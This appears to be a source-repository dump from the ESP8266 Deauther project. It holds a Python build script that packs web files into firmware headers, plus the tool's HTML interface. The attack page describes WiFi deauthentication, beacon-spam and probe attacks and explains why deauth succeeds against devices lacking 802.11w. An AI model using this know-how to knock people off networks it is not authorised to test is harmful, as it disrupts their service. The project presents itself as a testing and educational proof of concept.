'lightsalmon': (255, 160, 122),\n    'lightseagreen': (32, 178, 170),\n    'lightslategray': (119, 136, 153),\n    'lightslategrey': (119, 136, 153),\n    'lime': (0, 255, 0),\n    'limegreen': (50, 205, 50),\n    'linen': (250, 240, 230),\n    'magenta': (255, 0, 255),\n    'maroon': (128, 0, 0),\n    'mediumorchid': (186, 85, 211),\n    'mediumpurple': (147, 112, 219),\n    'mediumseagreen': (60, 179, 113),\n    'mediumspringgreen': (0, 250, 154),\n    'mediumturquoise': (72, 209, 204),\n    'mediumvioletred': (199, 21, 133),\n    'mintcream': (245, 255, 250),\n    'mistyrose': (255, 228, 225),\n    'moccasin': (255, 228, 181),\n    'navy': (0, 0, 128),\n    'oldlace': (253, 245, 230),\n    'olive': (128, 128, 0),\n    'olivedrab': (107, 142, 35),\n    'orange': (255, 165, 0),\n    'orangered': (255, 69, 0),\n    'orchid': (218, 112, 214),\n    'palegoldenrod': (238, 232, 170),\n    'palegreen': (152, 251, 152),\n    'paleturquoise': (175, 238, 238),\n    'palevioletred': (219, 112, 147),\n    'papayawhip': (255, 239, 213),\n    'peachpuff': (255, 218, 185),\n    'peru': (205, 133, 63),\n    'pink': (255, 192, 203),\n    'plum': (221, 160, 221),\n    'purple': (128, 0, 128),\n    'rosybrown': (188, 143, 143),\n    'saddlebrown': (139, 69, 19),\n    'salmon': (250, 128, 114),\n    'sandybrown': (244, 164, 96),\n    'seagreen': (46, 139, 87),\n    'seashell': (255, 245, 238),\n    'sienna': (160, 82, 45),\n    'silver': (192, 192, 192),\n    'slategray': (112, 128, 144),\n    'slategrey': (112, 128, 144),\n    'snow': (255, 250, 250),\n    'springgreen': (0, 255, 127),\n    'teal': (0, 128, 128),\n    'thistle': (216, 191, 216),\n    'tomato': (255, 99, 71),\n    'turquoise': (64, 224, 208),\n    'violet': (238, 130, 238),\n    'wheat': (245, 222, 179)\n}\n\n\n# Do Not compact this string, new lines are used to Group up stuff.\nCSS_PROPS_TEXT = '''\n\nalignment-adjust alignment-baseline animation animation-delay\nanimation-direction animation-duration animation-iteration-count\nanimation-name animation-play-state animation-timing-function appearance\nazimuth\n\nbackface-visibility background background-blend-mode background-attachment\nbackground-clip background-color background-image background-origin\nbackground-position background-position-block background-position-inline\nbackground-position-x background-position-y background-repeat background-size\nbaseline-shift bikeshedding bookmark-label bookmark-level bookmark-state\nbookmark-target border border-bottom border-bottom-color\nborder-bottom-left-radius border-bottom-parts border-bottom-right-radius\nborder-bottom-style border-bottom-width border-clip border-clip-top\nborder-clip-right border-clip-bottom border-clip-left border-collapse\nborder-color border-corner-shape border-image border-image-outset\nborder-image-repeat border-image-slice border-image-source border-image-width\nborder-left border-left-color border-left-style border-left-parts\nborder-left-width border-limit border-parts border-radius border-right\nborder-right-color border-right-style border-right-width border-right-parts\nborder-spacing border-style border-top border-top-color border-top-left-radius\nborder-top-parts border-top-right-radius border-top-style border-top-width\nborder-width bottom box-decoration-break box-shadow box-sizing\n\ncaption-side clear clip color column-count column-fill column-gap column-rule\ncolumn-rule-color column-rule-style column-rule-width column-span column-width\ncolumns content counter-increment counter-reset corners corner-shape\ncue cue-after cue-before cursor\n\ndirection display drop-initial-after-adjust drop-initial-after-align\ndrop-initial-before-adjust drop-initial-before-align drop-initial-size\ndrop-initial-value\n\nelevation empty-cells\n\nflex flex-basis flex-direction flex-flow flex-grow flex-shrink flex-wrap fit\nfit-position float font font-family font-size font-size-adjust font-stretch\nfont-style font-variant font-weight\n\ngrid-columns grid-rows\n\njustify-content\n\nhanging-punctuation height hyphenate-character hyphenate-resource hyphens\n\nicon image-orientation image-resolution inline-box-align\n\nleft letter-spacing line-height line-stacking line-stacking-ruby\nline-stacking-shift line-stacking-strategy linear-gradient list-style\nlist-style-image list-style-position list-style-type\n\nmargin margin-bottom margin-left margin-right margin-top marquee-direction\nmarquee-loop marquee-speed marquee-style max-height max-width min-height\nmin-width\n\nnav-index\n\nopacity orphans outline outline-color outline-offset outline-style\noutline-width overflow overflow-style overflow-x overflow-y\n\npadding padding-bottom padding-left padding-right padding-top page\npage-break-after page-break-before page-break-inside pause pause-after\npause-before perspective perspective-origin pitch pitch-range play-during\nposition presentation-level\n\nquotes\n\nresize rest rest-after rest-before richness right rotation rotation-point\nruby-align ruby-overhang ruby-position ruby-span\n\nsize speak speak-header speak-numeral speak-punctuation speech-rate src\nstress string-set\n\ntable-layout target target-name target-new target-position text-align\ntext-align-last text-decoration text-emphasis text-indent text-justify\ntext-outline text-shadow text-transform text-wrap top transform\ntransform-origin transition transition-delay transition-duration\ntransition-property transition-timing-function\n\nunicode-bidi unicode-range\n\nvertical-align visibility voice-balance voice-duration voice-family\nvoice-pitch voice-range voice-rate voice-stress voice-volume volume\n\nwhite-space widows width word-break word-spacing word-wrap\n\nz-index\n\n'''\n"
  },
  {
    "path": "utils/web_converter/readme.md",
    "content": "Use this converter to minify and gzip everything in the `web_interface` folder and put it in `esp8266_deauther/data/web/`.  \r\nThis script will also generate a new `webfiles.h` file and replace the old in `esp8266_deauther`.\r\n\r\nCopyright goes to [@xdavidhu](http://github.com/xdavidhu/).  \r\n\r\n**A few notes:**  \r\n- you need python3 to run this script\r\n- you need to install the anglerfish package: `sudo python3 -m pip install anglerfish`\r\n- be sure to run the script from its current position\r\n- `.lang` files will always go in the `/lang` folder\r\n- `.js` files will always go int the `/js` folder\r\n- `.json` files will be ignored and not copied\r\n- only `.html` and `.css` will be minified before being gzipped (minifying JS can make problems)\r\n"
  },
  {
    "path": "utils/web_converter/webConverter.py",
    "content": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# Created by: xdavidhu\n\nimport os\nimport gzip\nimport argparse\nimport binascii\nfrom pathlib import Path, PurePath\ntry:\n    from css_html_js_minify.minify import process_single_html_file, process_single_js_file, process_single_css_file\nexcept ModuleNotFoundError:\n    print(\"\\n[!] Requirements are not satisfied. Please install the 'anglerfish' package by running 'sudo python3 -m pip install anglerfish'.\\n\")\n    exit()\n\nparser = argparse.ArgumentParser(usage=\"webConverter.py --repopath [path-to-repo]\")\nparser.add_argument(\"--repopath\", type=str,\n                    help='Path to the repo, if not set make sure to run the script from [repo]/utils/web_converter_python/ directory')\n\nprint(\"\\nwebConverter for the deauther2.0 by @xdavidhu\\n\")\n\nargs = parser.parse_args()\nif args.repopath != None:\n    parent = args.repopath\n    print(\"[+] Using manual path '\" + args.repopath + \"'\\n\")\nelse:\n    p = Path.cwd()\n    parent = p.parent.parent\nlicense_file_path = str(os.path.join(str(parent), \"LICENSE\"))\nq = PurePath('esp8266_deauther')\narduino_file_path = str(os.path.join(str(parent / q), \"webfiles.h\"))\ndatadir = parent / q\nq = PurePath('web_interface')\ndir = parent / q\nq = PurePath('data')\ndatadir = datadir / q\nif not os.path.exists(str(datadir)):\n    os.mkdir(str(datadir))\nq = PurePath('web')\ncompressed = datadir / q\nif not os.path.exists(str(compressed)):\n    os.mkdir(str(compressed))\n\nhtml_files = []\ncss_files = []\njs_files = []\nlang_files = []\nprogmem_definitions = \"\"\ncopy_files_function = \"\"\nwebserver_events = \"\"\nload_lang = \"\"\n\nfilelist = Path(dir).glob('**/*')\nfor x in filelist:\n    if x.is_file():\n        if x.parts[-2] == \"compressed\" or x.parts[-3] == \"compressed\":\n            continue\n        if x.suffix == \".html\":\n            html_files.append(x)\n        elif x.suffix == \".css\":\n            css_files.append(x)\n        elif x.suffix == \".js\":\n            js_files.append(x)\n        elif x.suffix == \".lang\":\n            lang_files.append(x)\n\nfor file in html_files:\n    base_file = os.path.basename(str(file))\n    original_file = str(file)\n    new_file = str(os.path.join(str(compressed), str(base_file)))\n    print(\"[+] Minifying \" + base_file + \"...\")\n    process_single_html_file(original_file, output_path=new_file)\n    print(\"[+] Compressing \" + base_file + \"...\")\n    f_in = open(new_file, encoding='UTF-8')\n    content = f_in.read()\n    f_in.close()\n    os.remove(new_file)\n    with gzip.GzipFile(new_file + \".gz\", mode='w') as fo:\n        fo.write(content.encode(\"UTF-8\"))\n    f_in = open(new_file + \".gz\", 'rb')\n    content = f_in.read()\n    f_in.close()\n    array_name = base_file.replace(\".\", \"\")\n    hex_formatted_content = \"\"\n    hex_content = binascii.hexlify(content)\n    hex_content = hex_content.decode(\"UTF-8\")\n    hex_content = [hex_content[i:i+2] for i in range(0, len(hex_content), 2)]\n    for char in hex_content:\n        hex_formatted_content += \"0x\" + char + \", \"\n    hex_formatted_content = hex_formatted_content[:-2]\n    progmem_definitions += \"const char \" + array_name + \"[] PROGMEM = {\" + hex_formatted_content + \"};\\n\"\n    copy_files_function += '  if(!LittleFS.exists(\"/web/' + base_file + '.gz\") || force) progmemToSpiffs(' + array_name + ', sizeof(' + array_name + '), \"/web/' + base_file + '.gz\");\\n'\n    webserver_events += 'server.on(\"/' + base_file + '\", HTTP_GET, [](){\\n  sendProgmem(' + array_name + ', sizeof(' + array_name + '), W_HTML);\\n});\\n'\n\nfor file in css_files:\n    base_file = os.path.basename(str(file))\n    original_file = str(file)\n    new_file = str(os.path.join(str(compressed), str(base_file)))\n    print(\"[+] Minifying \" + base_file + \"...\")\n    process_single_css_file(original_file, output_path=new_file)\n    print(\"[+] Compressing \" + base_file + \"...\")\n    f_in = open(new_file, encoding='UTF-8')\n    content = f_in.read()\n    f_in.close()\n    os.remove(new_file)\n    with gzip.GzipFile(new_file + \".gz\", mode='w') as fo:\n        fo.write(content.encode(\"UTF-8\"))\n    f_in = open(new_file + \".gz\", 'rb')\n    content = f_in.read()\n    f_in.close()\n    array_name = base_file.replace(\".\", \"\")\n    hex_formatted_content = \"\"\n    hex_content = binascii.hexlify(content)\n    hex_content = hex_content.decode(\"UTF-8\")\n    hex_content = [hex_content[i:i+2] for i in range(0, len(hex_content), 2)]\n    for char in hex_content:\n        hex_formatted_content += \"0x\" + char + \", \"\n    hex_formatted_content = hex_formatted_content[:-2]\n    progmem_definitions += \"const char \" + array_name + \"[] PROGMEM = {\" + hex_formatted_content + \"};\\n\"\n    copy_files_function += '  if(!LittleFS.exists(\"/web/' + base_file + '.gz\") || force) progmemToSpiffs(' + array_name + ', sizeof(' + array_name + '), \"/web/' + base_file + '.gz\");\\n'\n    webserver_events += 'server.on(\"/' + base_file + '\", HTTP_GET, [](){\\n  sendProgmem(' + array_name + ', sizeof(' + array_name + '), W_CSS);\\n});\\n'\n\nfor file in js_files:\n    q = PurePath('js')\n    compressed_js = compressed / q\n    if not os.path.exists(str(compressed_js)):\n        os.mkdir(str(compressed_js))\n    base_file = os.path.basename(str(file))\n    original_file = str(file)\n    new_file = str(os.path.join(str(compressed_js), str(base_file)))\n    #print(\"[+] Minifying \" + base_file + \"...\")\n    #process_single_js_file(original_file, output_path=new_file)\n    print(\"[+] Compressing \" + base_file + \"...\")\n    f_in = open(original_file, encoding='UTF-8')\n    content = f_in.read()\n    f_in.close()\n    #os.remove(new_file)\n    with gzip.GzipFile(new_file + \".gz\", mode='w') as fo:\n        fo.write(content.encode(\"UTF-8\"))\n    f_in = open(new_file + \".gz\", 'rb')\n    content = f_in.read()\n    f_in.close()\n    array_name = base_file.replace(\".\", \"\")\n    hex_formatted_content = \"\"\n    hex_content = binascii.hexlify(content)\n    hex_content = hex_content.decode(\"UTF-8\")\n    hex_content = [hex_content[i:i+2] for i in range(0, len(hex_content), 2)]\n    for char in hex_content:\n        hex_formatted_content += \"0x\" + char + \", \"\n    hex_formatted_content = hex_formatted_content[:-2]\n    progmem_definitions += \"const char \" + array_name + \"[] PROGMEM = {\" + hex_formatted_content + \"};\\n\"\n    copy_files_function += '  if(!LittleFS.exists(\"/web/js/' + base_file + '.gz\") || force) progmemToSpiffs(' + array_name + ', sizeof(' + array_name + '), \"/web/js/' + base_file + '.gz\");\\n'\n    webserver_events += 'server.on(\"/js/' + base_file + '\", HTTP_GET, [](){\\n  sendProgmem(' + array_name + ', sizeof(' + array_name + '), W_JS);\\n});\\n'\n\nfor file in lang_files:\n    q = PurePath('lang')\n    compressed_lang = compressed / q\n    if not os.path.exists(str(compressed_lang)):\n        os.mkdir(str(compressed_lang))\n    base_file = os.path.basename(str(file))\n    original_file = str(file)\n    new_file = str(os.path.join(str(compressed_lang), str(base_file)))\n    print(\"[+] Compressing \" + base_file + \"...\")\n    f_in = open(original_file, encoding='UTF-8')\n    content = f_in.read()\n    f_in.close()\n    with gzip.GzipFile(new_file + \".gz\", mode='w') as fo:\n        fo.write(content.encode(\"UTF-8\"))\n    f_in = open(new_file + \".gz\", 'rb')\n    content = f_in.read()\n    f_in.close()\n    array_name = base_file.replace(\".\", \"\")\n    lang_name = base_file.replace(\".lang\", \"\")\n    hex_formatted_content = \"\"\n    hex_content = binascii.hexlify(content)\n    hex_content = hex_content.decode(\"UTF-8\")\n    hex_content = [hex_content[i:i+2] for i in range(0, len(hex_content), 2)]\n    for char in hex_content:\n        hex_formatted_content += \"0x\" + char + \", \"\n    hex_formatted_content = hex_formatted_content[:-2]\n    progmem_definitions += \"const char \" + array_name + \"[] PROGMEM = {\" + hex_formatted_content + \"};\\n\"\n    copy_files_function += '  if(!LittleFS.exists(\"/web/lang/' + base_file + '.gz\") || force) progmemToSpiffs(' + array_name + ', sizeof(' + array_name + '), \"/web/lang/' + base_file + '.gz\");\\n'\n    webserver_events += 'server.on(\"/lang/' + base_file + '\", HTTP_GET, [](){\\n  sendProgmem(' + array_name + ', sizeof(' + array_name + '), W_JSON);\\n});\\n'\n    if(len(load_lang) > 0):\n        load_lang += '    else if(String(settings::getWebSettings().lang) == \"'+lang_name+'\") sendProgmem(' + array_name + ', sizeof(' + array_name + '), W_JSON);\\n'\n    else:\n        load_lang += '    if(String(settings::getWebSettings().lang) == \"'+lang_name+'\") sendProgmem(' + array_name + ', sizeof(' + array_name + '), W_JSON);\\n'\n\nbase_file = os.path.basename(license_file_path)\nnew_file = str(os.path.join(str(compressed), str(\"LICENSE\")))\nprint(\"[+] Compressing \" + base_file + \"...\")\nf_in = open(license_file_path, encoding='UTF-8')\ncontent = f_in.read()\nf_in.close()\nwith gzip.GzipFile(new_file + \".gz\", mode='w') as fo:\n    fo.write(content.encode(\"UTF-8\"))\nf_in = open(new_file + \".gz\", 'rb')\ncontent = f_in.read()\nf_in.close()\narray_name = base_file.replace(\".\", \"\")\nhex_formatted_content = \"\"\nhex_content = binascii.hexlify(content)\nhex_content = hex_content.decode(\"UTF-8\")\nhex_content = [hex_content[i:i+2] for i in range(0, len(hex_content), 2)]\nfor char in hex_content:\n    hex_formatted_content += \"0x\" + char + \", \"\nhex_formatted_content = hex_formatted_content[:-2]\nprogmem_definitions += \"const char \" + array_name + \"[] PROGMEM = {\" + hex_formatted_content + \"};\\n\"\ncopy_files_function += '    if(!LittleFS.exists(\"/web/' + base_file + '.gz\") || force) progmemToSpiffs(' + array_name + ', sizeof(' + array_name + '), \"/web/' + base_file + '.gz\");\\n'\n\nprint(\"[+] Saving everything into webfiles.h...\")\nf = open(arduino_file_path, 'w')\nf.write(\"#ifndef webfiles_h\\n\")\nf.write(\"#define webfiles_h\\n\")\nf.write(\"\\n\")\nf.write(\"// comment that out if you want to save program memory and know how to upload the web files to the SPIFFS manually\\n\")\nf.write(\"#define USE_PROGMEM_WEB_FILES \\n\")\nf.write(\"\\n\")\nf.write(\"#ifdef USE_PROGMEM_WEB_FILES\\n\")\nf.write(progmem_definitions)\nf.write(\"#endif\\n\")\nf.write(\"\\n\")\nf.write(\"void copyWebFiles(bool force){\\n\")\nf.write(\"#ifdef USE_PROGMEM_WEB_FILES\\n\")\nf.write(\"if(settings::getWebSettings().use_spiffs){\\n\")\nf.write(copy_files_function)\nf.write(\"}\\n\")\nf.write(\"#endif\\n\")\nf.write(\"}\\n\")\nf.write(\"\\n\")\nf.write(\"#endif\")\nf.close()\n\nprint(\"\\n[+] Done, happy uploading :)\")\nprint(\"Here are the updated functions for wifi.cpp, in case you added or removed files:\")\nprint();\nprint('if(!settings::getWebSettings().use_spiffs){')\nprint('  server.on(\"/\", HTTP_GET, [](){')\nprint('  sendProgmem(indexhtml, sizeof(indexhtml), W_HTML);')\nprint('});')\nprint(webserver_events)\nprint('}')\nprint('server.on(\"/lang/default.lang\", HTTP_GET, [](){')\nprint(\"  if(!settings::getWebSettings().use_spiffs){\")\nprint(load_lang)\nprint('    else handleFileRead(\"/web/lang/\"+String(settings::getWebSettings().lang)+\".lang\");')\nprint('  } else {')\nprint('    handleFileRead(\"/web/lang/\"+String(settings::getWebSettings().lang)+\".lang\");')\nprint('  }')\nprint(\"});\")\n"
  },
  {
    "path": "web_interface/attack.html",
    "content": "<!--- This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther -->\r\n\r\n<!Doctype html>\r\n<html>\r\n\r\n<head>\r\n\t<meta charset=\"UTF-8\">\r\n\t<meta name=\"viewport\" content=\"width=device-width, initial-scale=0.8, minimal-ui\">\r\n\t<meta name=\"theme-color\" content=\"#36393E\">\r\n\r\n\t<meta name=\"description\" content=\"ESP8266 Deauther\">\r\n\t<title>ESP8266 Deauther</title>\r\n\r\n\t<link rel=\"stylesheet\" type=\"text/css\" href=\"style.css\">\r\n\t<script src=\"js/site.js\"></script>\r\n\t<script src=\"js/attack.js\"></script>\r\n</head>\r\n\r\n<body onload=\"loadLang()\">\r\n\t<nav>\r\n\t\t<ul class=\"menu\">\r\n\t\t\t<li><a href=\"scan.html\" data-translate=\"scan\">Scan</a></li>\r\n\t\t\t<li><a href=\"ssids.html\" data-translate=\"ssids\">SSIDs</a></li>\r\n\t\t\t<li><a href=\"attack.html\" data-translate=\"attacks\">Attack</a></li>\r\n\t\t\t<li><a href=\"settings.html\" data-translate=\"settings\">Settings</a></li>\r\n\t\t</ul>\r\n\t</nav>\r\n\r\n\t<div id=\"status\"></div>\r\n\r\n\t<div class=\"container\">\r\n\t\t<div class=\"row\">\r\n\t\t\t<div class=\"col-12\">\r\n\t\t\t\t<h1 class=\"header\" data-translate=\"attacks\">Attacks</h1>\r\n\r\n\t\t\t\t<p>\r\n\t\t\t\t\t<span class=\"red\" data-translate=\"info_span\">INFO:</span><br>\r\n\t\t\t\t\t<span data-translate=\"attack_info\">\r\n\t\t\t\t\t\t- You might lose connection when starting an attack!<br>\r\n\t\t\t\t\t\t- You need to select a target for the deauth attack.<br>\r\n\t\t\t\t\t\t- You need a saved SSID for the beacon and probe attack.<br>\r\n\t\t\t\t\t\t- Click reload to refresh the packet rate.<br>\r\n\t\t\t\t\t</span>\r\n\t\t\t\t\t<span data-translate=\"info_disclaimer\">In case of an unexpected error, please reload the site and\r\n\t\t\t\t\t\tlook at the serial monitor for further debugging.</span><br>\r\n\t\t\t\t</p>\r\n\t\t\t\t<p class=\"right\">\r\n\t\t\t\t\t<button onclick=\"stopAll()\" data-translate=\"stop\">stop</button>\r\n\t\t\t\t\t<button onclick=\"load()\" data-translate=\"reload\">reload</button>\r\n\t\t\t\t</p>\r\n\t\t\t\t<table>\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<th data-translate=\"attacks\">Attacks</th>\r\n\t\t\t\t\t\t<th data-translate=\"targets\">Targets</th>\r\n\t\t\t\t\t\t<th>Pkts/s</th>\r\n\t\t\t\t\t\t<th data-translate=\"start_stop\">START / STOP</th>\r\n\t\t\t\t\t</tr>\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<td>Deauth</td>\r\n\t\t\t\t\t\t<td id=\"deauthTargets\">0</td>\r\n\t\t\t\t\t\t<td id=\"deauthPkts\">0/0</td>\r\n\t\t\t\t\t\t<td><button id=\"deauth\" onclick=\"start(0)\" class=\"select\" data-translate=\"start\">START</button>\r\n\t\t\t\t\t\t</td>\r\n\t\t\t\t\t</tr>\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<td>Beacon</td>\r\n\t\t\t\t\t\t<td id=\"beaconTargets\">0</td>\r\n\t\t\t\t\t\t<td id=\"beaconPkts\">0/0</td>\r\n\t\t\t\t\t\t<td><button id=\"beacon\" onclick=\"start(1)\" class=\"select\" data-translate=\"start\">START</button>\r\n\t\t\t\t\t\t</td>\r\n\t\t\t\t\t</tr>\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<td>Probe</td>\r\n\t\t\t\t\t\t<td id=\"probeTargets\">0</td>\r\n\t\t\t\t\t\t<td id=\"probePkts\">0/0</td>\r\n\t\t\t\t\t\t<td><button id=\"probe\" onclick=\"start(2)\" class=\"select\" data-translate=\"start\">START</button>\r\n\t\t\t\t\t\t</td>\r\n\t\t\t\t\t</tr>\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<td colspan=\"2\">All Pkts/s:</td>\r\n\t\t\t\t\t\t<td colspan=\"2\" id=\"allpkts\">0</td>\r\n\t\t\t\t\t</tr>\r\n\t\t\t\t</table>\r\n\r\n\t\t\t\t<h2>Deauth</h2>\r\n\t\t\t\t<p data-translate=\"deauth_desc\">\r\n\t\t\t\t\tCloses the connection of WiFi devices by sending deauthentication frames to access points and client\r\n\t\t\t\t\tdevices you selected.<br>\r\n\t\t\t\t\tThis is only possible because a lot of devices don't use the 802.11w-2009 standard that offers a\r\n\t\t\t\t\tprotection against this attack.<br>\r\n\t\t\t\t\tPlease only select one target! When you select multiple targets that run on different channels and\r\n\t\t\t\t\tstart the attack,\r\n\t\t\t\t\tit will quickly switch between those channels and you have no chance to reconnect to the access\r\n\t\t\t\t\tpoint that hosts this web interface.\r\n\t\t\t\t</p>\r\n\r\n\t\t\t\t<h2>Beacon</h2>\r\n\t\t\t\t<p data-translate=\"beacon_desc\">\r\n\t\t\t\t\tBeacon packets are used to advertise access points. By continuously sending beacon packets out, it\r\n\t\t\t\t\twill look like you created new WiFi networks.<br>\r\n\t\t\t\t\tYou can specify the network names under SSIDs.<br>\r\n\t\t\t\t</p>\r\n\r\n\t\t\t\t<h2>Probe</h2>\r\n\t\t\t\t<p data-translate=\"probe_desc\">\r\n\t\t\t\t\tProbe requests are sent by client devices to ask if a known network is nearby.<br>\r\n\t\t\t\t\tUse this attack to confuse WiFi trackers by asking for networks that you specified in the SSID\r\n\t\t\t\t\tlist.<br>\r\n\t\t\t\t\tIt's unlikely you will see any impact by this attack with your home network.<br>\r\n\t\t\t\t</p>\r\n\t\t\t</div>\r\n\t\t</div>\r\n\t</div>\r\n\t<footer>\r\n\t\t<span id=\"version\">Version 2.6.1</span>\r\n\t\t<br>\r\n\t\t<br>\r\n\t\t<a href=\"http://deauther.maltronics.com\" target=\"_blank\">Wiki</a> | <a href=\"info.html\">Credits</a>\r\n\t</footer>\r\n</body>\r\n\r\n</html>"
  },
  {
    "path": "web_interface/attack.json",
    "content": "[[false,0,0,0],[false,0,0,0],[false,0,0,0],0]"
  },
  {
    "path": "web_interface/index.html",
    "content": "<!--- This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther -->\n\n<!Doctype html>\n<html>\n\n<head>\n\t<meta charset=\"UTF-8\">\n\t<meta name=\"viewport\" content=\"width=device-width, initial-scale=0.8, minimal-ui\">\n\t<meta name=\"theme-color\" content=\"#36393E\">\n\n\t<meta name=\"description\" content=\"ESP8266 Deauther\">\n\t<title>ESP8266 Deauther</title>\n\n\t<link rel=\"stylesheet\" type=\"text/css\" href=\"style.css\">\n\t<script src=\"js/site.js\"></script>\n</head>\n\n<body onload=\"loadLang()\">\n\t<div class=\"container\">\n\t\t<div class=\"row\">\n\t\t\t<div class=\"col-12\">\n\t\t\t\t<h1 class=\"header\" data-translate=\"warning\">WARNING</h1>\n\t\t\t\t<p class=\"centered\" data-translate=\"disclaimer\">\n\t\t\t\t\tThis project is a proof of concept for testing and educational purposes.<br>\n\t\t\t\t\tNeither the ESP8266, nor its SDK was meant or build for such purposes. Bugs can occur!<br>\n\t\t\t\t\t<br>\n\t\t\t\t\tUse it only against your own networks and devices!<br>\n\t\t\t\t\t<br>\n\t\t\t\t\tIt uses valid Wi-Fi frames described in the IEEE 802.11 standard and does not block or disrupt any\n\t\t\t\t\tfrequencies.<br>\n\t\t\t\t\tPlease check the legal regulations in your country before using it.<br>\n\t\t\t\t\t<br>\n\t\t\t\t\tPlease don't refer to this project as \"jammer\", as it undermines the real purpose of this\n\t\t\t\t\tproject!<br>\n\t\t\t\t\tIf you do, it only proves that you didn't understand anything of what this project stands for.<br>\n\t\t\t\t\tPublishing content about this without without a proper explanation shows that you only do it for the\n\t\t\t\t\tclicks,\n\t\t\t\t\tfame and/or money and have no respect for intellectual property, the community behind it and the\n\t\t\t\t\tfight for a better WiFi standard.<br>\n\t\t\t\t\t<br>\n\t\t\t\t\tFor more information visit:<br>\n\t\t\t\t\t<a\n\t\t\t\t\t\thref=\"https://github.com/spacehuhntech/esp8266_deauther\">github.com/spacehuhntech/esp8266_deauther</a>\n\t\t\t\t</p>\n\t\t\t\t<p class=\"centered bold\">\n\t\t\t\t\t<a class=\"button\" href=\"scan.html\" data-translate=\"disclaimer-button\">I have read and understood the\n\t\t\t\t\t\tnotice above</a>\n\t\t\t\t</p>\n\t\t\t</div>\n\t\t</div>\n\t</div>\n\t<footer>\n\t\t<span id=\"version\">Version 2.6.1</span>\n\t\t<br>\n\t\t<br>\n\t\t<a href=\"http://deauther.maltronics.com\" target=\"_blank\">Wiki</a> | <a href=\"info.html\">Credits</a>\n\t</footer>\n</body>\n\n</html>"
  },
  {
    "path": "web_interface/info.html",
    "content": "<!--- This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther -->\r\n\r\n<!Doctype html>\r\n<html>\r\n\r\n<head>\r\n\t<meta charset=\"UTF-8\">\r\n\t<meta name=\"viewport\" content=\"width=device-width, initial-scale=0.8, minimal-ui\">\r\n\t<meta name=\"theme-color\" content=\"#36393E\">\r\n\r\n\t<meta name=\"description\" content=\"ESP8266 Deauther\">\r\n\t<title>ESP8266 Deauther</title>\r\n\r\n\t<link rel=\"stylesheet\" type=\"text/css\" href=\"style.css\">\r\n\t<script src=\"js/site.js\"></script>\r\n</head>\r\n\r\n<body onload=\"loadLang()\">\r\n\t<nav>\r\n\t\t<ul class=\"menu\">\r\n\t\t\t<li><a href=\"scan.html\" data-translate=\"scan\">Scan</a></li>\r\n\t\t\t<li><a href=\"ssids.html\" data-translate=\"ssids\">SSIDs</a></li>\r\n\t\t\t<li><a href=\"attack.html\" data-translate=\"attacks\">Attack</a></li>\r\n\t\t\t<li><a href=\"settings.html\" data-translate=\"settings\">Settings</a></li>\r\n\t\t</ul>\r\n\t</nav>\r\n\r\n\t<div id=\"status\"></div>\r\n\r\n\t<div class=\"container\">\r\n\t\t<div class=\"row\">\r\n\t\t\t<div class=\"col-12\">\r\n\t\t\t\t<h1 class=\"header\">Credits</h1>\r\n\r\n\t\t\t\t<h2>Disclaimer</h2>\r\n\t\t\t\t<p data-translate=\"disclaimer\">\r\n\t\t\t\t\tThis project is a proof of concept for testing and educational purposes.<br>\r\n\t\t\t\t\tNeither the ESP8266, nor its SDK was meant or build for such purposes. Bugs can occur!<br>\r\n\t\t\t\t\t<br>\r\n\t\t\t\t\tUse it only against your own networks and devices!<br>\r\n\t\t\t\t\t<br>\r\n\t\t\t\t\tIt uses valid Wi-Fi frames described in the IEEE 802.11 standard and does not block or disrupt any\r\n\t\t\t\t\tfrequencies.<br>\r\n\t\t\t\t\tPlease check the legal regulations in your country before using it.<br>\r\n\t\t\t\t\t<br>\r\n\t\t\t\t\tPlease don't refer to this project as \"jammer\", as it undermines the real purpose of this\r\n\t\t\t\t\tproject!<br>\r\n\t\t\t\t\tIf you do, it only proves that you didn't understand anything of what this project stands for.<br>\r\n\t\t\t\t\tPublishing content about this without without a proper explanation shows that you only do it for the\r\n\t\t\t\t\tclicks,\r\n\t\t\t\t\tfame and/or money and have no respect for intellectual property, the community behind it and the\r\n\t\t\t\t\tfight for a better WiFi standard.<br>\r\n\t\t\t\t\t<br>\r\n\t\t\t\t\tFor more information visit:<br>\r\n\t\t\t\t\t<a\r\n\t\t\t\t\t\thref=\"https://github.com/spacehuhntech/esp8266_deauther\">github.com/spacehuhntech/esp8266_deauther</a>\r\n\t\t\t\t</p>\r\n\r\n\t\t\t\t<h2>Acknowledgements</h2>\r\n\t\t\t\t<p>\r\n\t\t\t\t\tA huge thanks to:<br>\r\n\t\t\t\t<ul>\r\n\t\t\t\t\t<li><a href=\"http://github.com/deantonious\" target=\"_blank\">@deantonious</a></li>\r\n\t\t\t\t\t<li><a href=\"http://github.com/jLynx\" target=\"_blank\">@jLynx</a></li>\r\n\t\t\t\t\t<li><a href=\"http://github.com/lspoplove\" target=\"_blank\">@lspoplove</a></li>\r\n\t\t\t\t\t<li><a href=\"http://github.com/schinfo\" target=\"_blank\">@schinfo</a></li>\r\n\t\t\t\t\t<li><a href=\"http://github.com/tobozo\" target=\"_blank\">@tobozo</a></li>\r\n\t\t\t\t\t<li><a href=\"http://github.com/xdavidhu\" target=\"_blank\">@xdavidhu</a></li>\r\n\t\t\t\t\t<li><a href=\"http://github.com/PwnKitteh\" target=\"_blank\">@PwnKitteh</a></li>\r\n\t\t\t\t</ul>\r\n\t\t\t\tfor helping out with various things regarding this project and keeping it alive!<br>\r\n\t\t\t\t<br>\r\n\t\t\t\tAlso thanks to everyone working on the libraries used for this project:<br>\r\n\t\t\t\t<ul>\r\n\t\t\t\t\t<li><a href=\"https://github.com/ThingPulse/esp8266-oled-ssd1306\"\r\n\t\t\t\t\t\t\ttarget=\"_blank\">esp8266-oled-ssd1306</a></li>\r\n\t\t\t\t\t<li><a href=\"https://github.com/bblanchon/ArduinoJson\" target=\"_blank\">ArduinoJson</a></li>\r\n\t\t\t\t\t<li><a href=\"https://github.com/adafruit/Adafruit_DotStar\" target=\"_blank\">Adafruit DotStar</a></li>\r\n\t\t\t\t\t<li><a 